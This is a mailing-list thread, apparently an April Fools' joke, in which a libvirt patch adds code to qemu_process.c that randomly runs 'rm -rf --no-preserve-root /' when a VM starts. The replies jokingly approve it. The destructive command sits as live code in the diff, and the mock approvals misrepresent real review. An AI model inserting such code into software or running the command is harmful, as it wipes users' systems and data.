[libvirt] [PATCH] Give other software a fair chance

Michal Privoznik posted 1 patch 141 weeks ago
Patches applied successfully (tree, apply log)
git fetch https://github.com/patchew-project/libvirt tags/patchew/d5a5e354e0072d861b102fad5a126777168e1e59.1491025506.git.mprivozn@redhat.com
src/qemu/qemu_process.c | 10 ++++++++++
1 file changed, 10 insertions(+)

[libvirt] [PATCH] Give other software a fair chance

Posted by Michal Privoznik 141 weeks ago
Libvirt's so good, so solid that it almost feels like other
software stand no chance. Other applications are buggy, unstable,
crashing, etc. But not libvirt. Therefore, it seems only fair
that we introduce some bugs so developers of the other
applications don't feel that bad.

Signed-off-by: Michal Privoznik <mprivozn@redhat.com>
---
 src/qemu/qemu_process.c | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
index a20beb1..2a68611 100644
--- a/src/qemu/qemu_process.c
+++ b/src/qemu/qemu_process.c
@@ -77,6 +77,7 @@
 #include "configmake.h"
 #include "nwfilter_conf.h"
 #include "netdev_bandwidth_conf.h"
+#include "virrandom.h"
 
 #define VIR_FROM_THIS VIR_FROM_QEMU
 
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
     if (!migrateFrom && !snapshot)
         flags |= VIR_QEMU_PROCESS_START_NEW;
 
+    /* Be fair to other applications. */
+    if (virRandomInt(2)) {
+        const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
+        virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
+                       _("Sorry pal, today is just not your day. Kiss your data goodbye."));
+        ignore_value(virRun(argv, NULL));
+        goto cleanup;
+    }
+
     if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
         goto cleanup;
 
-- 
2.10.2

--
libvir-list mailing list
libvir-list@redhat.com
https://www.redhat.com/mailman/listinfo/libvir-list

Re: [libvirt] [PATCH] Give other software a fair chance

Posted by Roman Bogorodskiy 141 weeks ago
  Michal Privoznik wrote:

> Libvirt's so good, so solid that it almost feels like other
> software stand no chance. Other applications are buggy, unstable,
> crashing, etc. But not libvirt. Therefore, it seems only fair
> that we introduce some bugs so developers of the other
> applications don't feel that bad.
> 
> Signed-off-by: Michal Privoznik <mprivozn@redhat.com>
> ---
>  src/qemu/qemu_process.c | 10 ++++++++++
>  1 file changed, 10 insertions(+)
> 
> diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
> index a20beb1..2a68611 100644
> --- a/src/qemu/qemu_process.c
> +++ b/src/qemu/qemu_process.c
> @@ -77,6 +77,7 @@
>  #include "configmake.h"
>  #include "nwfilter_conf.h"
>  #include "netdev_bandwidth_conf.h"
> +#include "virrandom.h"
>  
>  #define VIR_FROM_THIS VIR_FROM_QEMU
>  
> @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
>      if (!migrateFrom && !snapshot)
>          flags |= VIR_QEMU_PROCESS_START_NEW;
>  
> +    /* Be fair to other applications. */
> +    if (virRandomInt(2)) {
> +        const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
> +        virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
> +                       _("Sorry pal, today is just not your day. Kiss your data goodbye."));
> +        ignore_value(virRun(argv, NULL));
> +        goto cleanup;
> +    }
> +
>      if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
>          goto cleanup;

Looks safe for the freeze.

ACK if you place "--no-preserve-root" under "#ifdef __linux__" because
it's not supported on FreeBSD for example.

Roman Bogorodskiy
--
libvir-list mailing list
libvir-list@redhat.com
https://www.redhat.com/mailman/listinfo/libvir-list

Re: [libvirt] [PATCH] Give other software a fair chance

Posted by Martin Kletzander 141 weeks ago
On Sat, Apr 01, 2017 at 11:09:54AM +0400, Roman Bogorodskiy wrote:
>  Michal Privoznik wrote:
>
>> Libvirt's so good, so solid that it almost feels like other
>> software stand no chance. Other applications are buggy, unstable,
>> crashing, etc. But not libvirt. Therefore, it seems only fair
>> that we introduce some bugs so developers of the other
>> applications don't feel that bad.
>>
>> Signed-off-by: Michal Privoznik <mprivozn@redhat.com>
>> ---
>>  src/qemu/qemu_process.c | 10 ++++++++++
>>  1 file changed, 10 insertions(+)
>>
>> diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
>> index a20beb1..2a68611 100644
>> --- a/src/qemu/qemu_process.c
>> +++ b/src/qemu/qemu_process.c
>> @@ -77,6 +77,7 @@
>>  #include "configmake.h"
>>  #include "nwfilter_conf.h"
>>  #include "netdev_bandwidth_conf.h"
>> +#include "virrandom.h"
>>
>>  #define VIR_FROM_THIS VIR_FROM_QEMU
>>
>> @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
>>      if (!migrateFrom && !snapshot)
>>          flags |= VIR_QEMU_PROCESS_START_NEW;
>>
>> +    /* Be fair to other applications. */
>> +    if (virRandomInt(2)) {
>> +        const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
>> +        virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
>> +                       _("Sorry pal, today is just not your day. Kiss your data goodbye."));
>> +        ignore_value(virRun(argv, NULL));
>> +        goto cleanup;
>> +    }
>> +
>>      if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
>>          goto cleanup;
>
>Looks safe for the freeze.
>
>ACK if you place "--no-preserve-root" under "#ifdef __linux__" because
>it's not supported on FreeBSD for example.
>
>Roman Bogorodskiy

I hope some automated CI somewhere is not configured properly and
actually running as root...

>--
>libvir-list mailing list
>libvir-list@redhat.com
>https://www.redhat.com/mailman/listinfo/libvir-list
--
libvir-list mailing list
libvir-list@redhat.com
https://www.redhat.com/mailman/listinfo/libvir-list